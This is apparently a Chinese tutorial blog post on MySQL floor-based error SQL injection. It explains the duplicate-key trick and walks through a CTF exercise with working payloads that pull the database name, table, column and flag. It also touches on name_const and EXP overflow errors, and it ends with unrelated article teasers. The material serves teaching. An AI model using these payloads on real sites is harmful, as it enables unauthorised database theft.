【floor报错注入】

news2024/12/24 11:30:01

一、sql语句基础

floor

向下取整
请添加图片描述

count

取数据的数量
请添加图片描述

group by

分组查询
请添加图片描述

Rand

随机数
请添加图片描述

limit

请添加图片描述

二、floor报错注入

主键重复报错

我们先了解group by产生的虚拟表的原理,了解到虚拟表的主键是不可以重复的

请添加图片描述
我们再可以通过Rand(0)函数规定固定种子后乘2,再用floor取整让列名出现以下能够不断重复的数列,乘2的目的是为了让
Rand(0)函数取到的大于0.5的函数大于1,从而让数列能够在0和1之间,间歇的出现

请添加图片描述

接着我们就可以在group by的虚拟表中动手了,利用floor(rand(0)*2) 为user表中的每个数据生成种子,再乘以2取整,为虚拟表生成固定的键01101,具体原理看下图,就能实现重复报错:

请,添加图片描述

练习

我们来练习一道题目,练习之前先复习一下我们之前学的判断字符型注入和数字型注入的方法

id=1

测试是否有sql注入
id=1'

测试数字型sql注入
id=1%23

测试字符型sql注入
id=1'%23

我们来看一下这道题,依旧是过滤了union联合查询:
请添加图片描述
通过测试,这是一个数字型注入,找到注入点后,我们就开始注入:
请添加图片描述
因为页面直接回显了报错信息,可以使用报错注入,在使用updatexml或者extractvalue时 提示了过滤,换成floor函数,我们来看一下payload:

#爆库名
id=1 and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

#爆表名
id=1 and (select 1 from  (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

#爆列名
id=1 and (select 1 from  (select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 1,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

#拿数据
id=1 and (select 1 from  (select count(*),concat((select flag from flag limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

我们看到第一个爆库名我们主要的参数还是写在concat里面,and 后面的参数呢和我们的上面的重复报错的例子基本上一样的

select username,count(*) from user group by floor(rand(0)*2);

不同的地方就是我们用concat()把database()和floor()连接起来了:

concat(database(),floor(rand(0)*2))x

x是别名,意思是给我们前面的语句起了个名字,那么x就代表了:

concat(database(),floor(rand(0)*2))

后面的group by x实际上就等同于group by concat(database(),floor(rand(0)*2))

我们直接利用一下payload:

请添加图片描述
这里回显了’web1’,web是我们database()的报错信息,1就是floor(rand(0)*2)的报错信息,只不过我们用concat把他们两都链接起来了,我们接着拿表名:

请添加图片描述
我们成功拿到了flag表名,这里注意一下,我们使用了limit 0,1,我们删掉试试:
请添加图片描述

现在返回的错误显示我们查询的返回超过一行,我们回顾一下上一次我们遇到错误的时候,我们使用group_concat()将我们的多行合并成一行,这里我们需要使用limit因为我们在前面的sql基础讲过limit可以限制sql语句返回的行数,这里我们让他从第零行开始返回一条数据,我们把第零行修改成1,让它返回一条数据,它就把user表输出出来了,我们接着拿列名:
请添加图片描述
拿到列名后,我们直接去那flag列里面的数据:
请添加图片描述
现在我们就拿到了flag,这个flag相对于我们上一次的extractvalue拥有的长度限制,在floor里是没有这个限制的,可以一次性的把全部都输出:
请添加图片描述

三、MySql特性

列名重复

Name_const()函数是给变量赋值的,我们看一下下面的实例中的用法就是把test赋值给name,那么我们的name就对应着test,我们看到下面的报错,这里用到了两个Name_const(),产生了两个相同的列名,就导致了报错,爆出了数据库版本号,Name_const()有个限制只能拿到数据库版本号:
请添加图片描述

几何函数

几何函数通常是用来产生溢出错误,比如我们输入一个数字特别大,让mysql执行不了,下面列举了几个报错的函数:

请添加图片描述

我们主要看一下第一个EXP,我们执行一下:
请添加图片描述
我们看到,虽然它报错了,但是没有我们想要的user()数据,比如说没有把我们想要的root@localhost显示出来,只有一个user() ,我们这里注意一下,上面的这些函数,在mysql<5.5.47的版本下是可以显示出我们刚刚的执行结果的,但我们的版本是5.5.53是显示不出来的,但是我们后面会讲解报错盲注,把EXP的报错特性和盲注结合起来的一种注入:
请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2181548.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Jmeter常用函数、逻辑控制器

目录 一、Jmeter常用函数 counter函数 machineName函数 machineIP函数 Random函数 RandomString函数 RandomDate函数 time函数 二、逻辑控制器 IF控制器 循环控制器 foreach控制器 仅一次控制器 事务控制器 聚合报告 随机控制器 随机顺序控制器 一、Jmeter常用…

Webpack 打包后文件过大,如何优化?

聚沙成塔每天进步一点点 本文回顾 ⭐ 专栏简介Webpack 打包后文件过大&#xff0c;如何优化&#xff1f;1. 代码分割&#xff08;Code Splitting&#xff09;1.1 概念1.2 Webpack 的 SplitChunksPlugin示例配置&#xff1a; 1.3 按需加载&#xff08;Lazy Loading&#xff09;示…

位运算(1)_常见位运算总结

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 位运算(1)_常见位运算总结 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录 1. 基…

综合练习 学习案例

//验证码 前四位是字母 最后一位是数字 public class test1 {public static void main(String[] args){char [] charsnew char[52];for (int i 0; i <chars.length ; i) {if(i<25){chars[i](char)(i97);}else{chars[i](char)(i65-26);}}Random rnew Random();String cod…

虚商目前有哪些业务痛点?

虚拟运营商当前面临的业务痛点主要集中在市场竞争、运营成本、技术依赖、用户体验及政策监管等方面。 一、市场竞争激烈 1、竞争者数量增加: 随着市场准入门槛的降低&#xff0c;越来越多的企业进入虚拟运营商市场导致市场竟争日益激烈。为了争夺市场份额&#xff0c;企业不得不…

高校体育场小程序|高校体育场管理系统系统|体育场管理系统小程序设计与实现(源码+数据库+文档)

高校体育场管理系统小程序 目录 体育场管理系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&#xff1a;✌️大厂码农|毕设布道…

量化必备!股票常用数据批量下载、定时更新,代码打包好了!

上一节课我详细演示了从tushare获取股票列表和基本信息并且配置定时更新任务的详细流程&#xff0c;旨在教会想要学习通过Python获取股票数据并且定期更新的朋友。 不过有很多朋友完全没有Python基础&#xff0c;如果一开始把大量时间花费在搞数据上&#xff0c;本末倒置不说&…

学MybatisPlus

1.设置MySql的数据库 spring:datasource:url: jdbc:mysql://127.0.0.1:3306/mp?useUnicodetrue&characterEncodingUTF-8&autoReconnecttrue&serverTimezoneAsia/Shanghaidriver-class-name: com.mysql.cj.jdbc.Driverusername: rootpassword: MySQL123 logging:l…

GIT安装及集成到IDEA中操作步骤

最近深感GIT使用技能太差&#xff0c;我只会些皮毛&#xff0c;还是得看官网&#xff0c;总结一下常用的操作方法吧。 GIT环境配置到IDEA中安装 一、GIt的基本的安装 这个不在这里赘述了&#xff0c;自己装一个git吧 二、给IDEA指定本地GIT的安装路径 1、下图这个是我本地的…

计算机毕业设计hadoop+spark+hive视频推荐系统 视频情感分析可视化 视频爬虫 视频爬虫 知识图谱 大数据毕设

《HadoopSparkHive视频推荐系统》开题报告 一、引言 随着互联网技术的飞速发展&#xff0c;视频内容呈现出爆炸式增长&#xff0c;用户面临着从海量视频资源中快速找到感兴趣内容的挑战。传统的视频推荐系统已难以满足大规模数据处理的需求&#xff0c;因此&#xff0c;基于H…

迁移学习案例-python代码

大白话 迁移学习就是用不太相同但又有一些联系的A和B数据&#xff0c;训练同一个网络。比如&#xff0c;先用A数据训练一下网络&#xff0c;然后再用B数据训练一下网络&#xff0c;那么就说最后的模型是从A迁移到B的。 迁移学习的具体形式是多种多样的&#xff0c;比如先用A训练…

仿真设计|基于51单片机的智能防火GSM上报仿真

目录 具体实现功能 设计介绍 51单片机简介 资料内容 仿真实现&#xff08;protues8.7&#xff09; 程序&#xff08;Keil5&#xff09; 全部内容 资料获取 具体实现功能 &#xff08;1&#xff09;LCD1602显示实时温度&#xff08;DS18B20&#xff09;值和烟雾&#x…

避免学术欺诈!在ChatGPT帮助下实现严格引用并避免抄袭

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 当今的学术环境中&#xff0c;保持学术诚信至关重要。随着ChatGPT等技术的发展&#xff0c;写作变得更加高效&#xff0c;但也增加了不当使用的风险。严格的引用和避免抄袭不仅是学术道…

一个服务器可以搭建几个网站

一个服务器可以搭建几个网站 该省就得省&#xff0c;一台服务器可以搭建多种不同的网站或应用#服务器#服务器租用 多个站点放在同一个服务器上有什么影响吗&#xff1f; 服务器里面会涉及到就是内存和带宽&#xff0c;如果说你一个服务器只放一个网站肯定更好一点&#xff0…

java将word转pdf

总结 建议使用aspose-words转pdf,poi的容易出问题还丑… poi的(多行的下边框就不对了) aspose-words的(基本和word一样) poi工具转换 <!-- 处理PDF --><dependency><groupId>fr.opensagres.xdocreport</groupId><artifactId>fr.opensagres…

计算机网络实验2——利用Wireshark对上网操作抓包并进行相关协议分析(实验部分)

五、实验过程 1.安装并启动Wireshark。 选择菜单栏上捕获->选项&#xff0c;勾选WLAN网卡。点击Start&#xff0c;进行抓包 Wireshark处于抓包状态中 2.打开浏览器&#xff0c;在地址栏中输入教师指定的web服务器地址。&#xff08;http://202.113.78.39&#xff09; 为了…

基于微信小程序的健康管理系统(源码+定制+文档)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

【Verilog学习日常】—牛客网刷题—Verilog企业真题—VL69

脉冲同步器&#xff08;快到慢&#xff09; 描述 sig_a 是 clka&#xff08;300M&#xff09;时钟域的一个单时钟脉冲信号&#xff08;高电平持续一个时钟clka周期&#xff09;&#xff0c;请设计脉冲同步电路&#xff0c;将sig_a信号同步到时钟域 clkb&#xff08;100M&…

VMware ESXi 6.7U3u macOS Unlocker 集成驱动版更新 OEM BIOS 2.7 支持 Windows Server 2025

VMware ESXi 6.7U3u macOS Unlocker & OEM BIOS 2.7 集成 Realtek 网卡驱动和 NVMe 驱动 (集成驱动版) UI fix 此版本解决的问题&#xff1a;VMware Host Client 无法将现有虚拟磁盘 (VMDK) 附加到虚拟机 请访问原文链接&#xff1a;https://sysin.org/blog/vmware-esxi-…

基于springboot的数据库原理教学案例案例库管理系统

目录 毕设制作流程功能和技术介绍系统实现截图开发核心技术介绍&#xff1a;使用说明开发步骤编译运行代码执行流程核心代码部分展示可行性分析软件测试详细视频演示源码获取 毕设制作流程 &#xff08;1&#xff09;与指导老师确定系统主要功能&#xff1b; &#xff08;2&am…